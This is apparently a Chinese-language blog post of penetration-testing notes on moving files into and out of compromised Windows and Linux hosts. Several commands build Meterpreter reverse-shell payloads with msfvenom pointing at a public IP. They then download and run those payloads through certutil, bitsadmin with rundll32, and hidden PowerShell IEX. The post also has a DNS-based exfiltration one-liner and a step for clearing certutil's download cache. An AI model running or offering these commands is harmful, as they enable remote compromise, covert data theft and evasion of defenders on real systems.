文件传输

发布于 2021-07-12  356 次阅读


一、Windows文件传输(windows自带程序)

1.Certutil:https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil

(1)下载并执行 (杀软会拦截)

Certutil.exe 是命令行程序,作为证书服务的一部分进行安装。 你可以使用 certutil.exe 来转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件以及验证证书、密钥对和证书链。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=81.70.242.138 lport=6666 -f exe > centos7.exe            (>可以换为-o)
certutil.exe -urlcache -split -f http://81.70.242.138:8000/centos7.exe c:\windows\temp\centos7.exe & start c:\windows\temp\centos7.exe
#################################
注意:若msf在vps上,则用msf监听的时候设置的lhost为内网ip

(2)清除下载缓存

certutil.exe -urlcache -split -f http://81.70.242.138/centos7.exe delete
缓存目录:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

2.BitsAdmin

BitsAdmin是一个命令行工具,您可以使用它创建下载或上载作业,并监视其进度。攻击机必须使用真实http服务。python不行。    (必须使用真实的中间件)

Bitsadmin官方文档:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=81.70.242.138 lport=7777 -f hta-psh > 44.hta
bitsadmin /transfer xxx http://139.155.49.43/44.hta C:\windows\temp\44.hta        (xxx为job的名字)
rundll32.exe url.dll,OpenURL 44.hta        (通过rundll32.exe去执行下载的hta文件)

利用rundll32执行程序:https://xz.aliyun.com/t/2188

3.Powershell:https://docs.microsoft.com/zh-cn/powershell/

Windows PowerShell 是一种基于任务的命令行 shell 和脚本语言,专为系统管理而设计。 在 .NET Framework的基础上构建的 Windows PowerShell 可帮助 IT 专业人士和高级用户控制和自动执行 Windows 操作系统以及在 Windows 上运行的应用程序的管理。

PowerShell常用的.Net 、COM对象(New-Object、Assembly)、加载程序集:

Powershell命令大全:

$p = new-object system.net.webclient                (创建一个对象)
$p.downloadfile("http://81.70.242.138:8000/filename","c:\xxx\xx\filename")            (调用对象的方法)-------原理

powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://81.70.242.138:8000/1.txt','s.txt')"
或
powershell (new-object system.net.webclient).downloadfile('http://81.70.242.138:8000/1.txt','s.txt')
或
powershell Invoke-WebRequest -uri "http://81.70.242.138:8000/1.txt" -OutFile "$env:temp\s.php"        
#($env:temp在powershell中为C:\Users\hp\AppData\Local\Temp)
#(Invoke-WebRequest在powershell中别名为iwr  wget  curl)
例子:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=81.70.242.138 lport=8899 -f psh-reflection -o shell.ps1
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://81.70.242.138/shell.ps1’);shell.ps1";
#使用ps1为后缀是为了能让powershell进行识别,1~6版本都可以识别ps1文件,DownloadString方法是读取文件内容为字符串,IEX是读取到内存之中执行
#;后面的shell.ps1可以省略,也可以变为前面加载的脚本函数进行调用

4.SCP:https://www.cnblogs.com/zhuawang/p/12433357.html

(1)SCP下载文件

scp可以进行简单的远程复制文件的功能。它是一个在各个主机之间进行复制或文件传输的一个命令工具。它使用一种同ssh一样的安全机制来进行文件的传输。

scp root@192.168.78.70:/root/1.hta c:\1.hta        (需要输入用户密码)
scp root@192.168.78.70:/root/linux/ -r linux/        (指定下载文件夹,批量下载文件)

(2)SCP上传文件

scp note3.txt root@192.168.1.227:/tmp/n.txt
scp -r password/ root@192.168.1.227:/tmp/pass/        (上传文件夹)

5.Windows文件共享

(1)net use

net use k: \\192.168.78.67\c$ "123123" /user:administrator
dir \\192.168.78.67\c$        (查看文件)
copy        (复制文件)

二、Linux文件传输

1.wget:https://www.cnblogs.com/jianlilistu/p/10006234.html

wget命令用来从指定的URL下载文件:

wget http://192.168.1.227/lan.hta
wget -O x.sh http://192.168.1.227/lan.hta        (指定下载的文件名和路径)

2.curl:http://www.ruanyifeng.com/blog/2019/09/curl-reference.html

curl 是用来请求 Web 服务器的命令行工具。        (可以用来进行很多测试)

curl -o lan.hta http://192.168.1.227/lan.hta
curl -O http://192.168.1.227/lan.hta        (将下载的数据写入到文件,保留文件名,必须使用文件的绝对地址)
发起一个post请求:curl -X POST -d "username=admin"

3.netcat:https://note.youdao.com/ynoteshare1/index.html?id=e7f3dfeda279c6a2a5d33de93ce3d60c&type=note

使用目标机器进行下载
cat file1 | nc -l 1234         (发送方:将要传输的文件file1通过nc在1234端口进行发送)
nc host_ip 1234 > file2        (接收方:在目标机器上对发送文件的主机相应端口进行监听,并将结果保存在file2中)

使用目标机器进行上传
nc host_ip 1234 < file1        (发送方:将file1重定向到目标机器的1234端口)
nc -lvvp 1234 > file2          (接收方:将本机1234端口监听到的文件重定向到file2中)

4.sftp

sftp命令全称是Secure File Transfer Protocol。是一款交互式的文件传输程序,sftp命令的运行和使用方式与ftp命令相似,但是,sftp命令对传输的所有信息使用ssh加密,它还支持公钥认证和压缩等功能。

sftp root@192.168.1.227
sftp -P 22 root@192.168.1.227
sftp -P 22 -i ~/.ssh/id_rsa root@192.168.1.227

5.dns传输数据    (防火墙一般不会禁止DNS请求)

dnslog平台: http://www.dnslog.cn/

cat test | xxd -p -c 16 | while read line; do host $line.DNSlog的域名; done
将test文件传输给xxd进行hex加密,通过逐行读取传输给line变量,然后通过域名解析间接发送给dnslog平台

得到的数据进行了hex加密,需要进行解码:https://www.107000.com/T-Hex        (需要对数据进行拼接)

三、脚本语言(根据环境进行选择)

1.PHP

php -r 'file_put_contents("lan.hta",file_get_contents("http://192.168.1.227/lan.hta"));'    (php -r就是将u引号内容用<?php ?>括起来进行解释执行)

使用的函数:
file_put_contents — 将一个字符串写入文件
file_get_contents — 将整个文件读入一个字符串

2.Python

python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.1.227/lan.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close()"

python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.1.227/lan.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))"

3.Perl

perl -MLWP::Simple -e 'getstore ("http://192.168.1.227/Launcher.hta","win.hta")'

4.Ruby

ruby -e "require 'net/http';Net::HTTP.start('192.168.1.227') { |http| r = http.get('/lan.hta');open('/root/rb.hta', 'wb') { |file| file.write(r.body)}}"

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。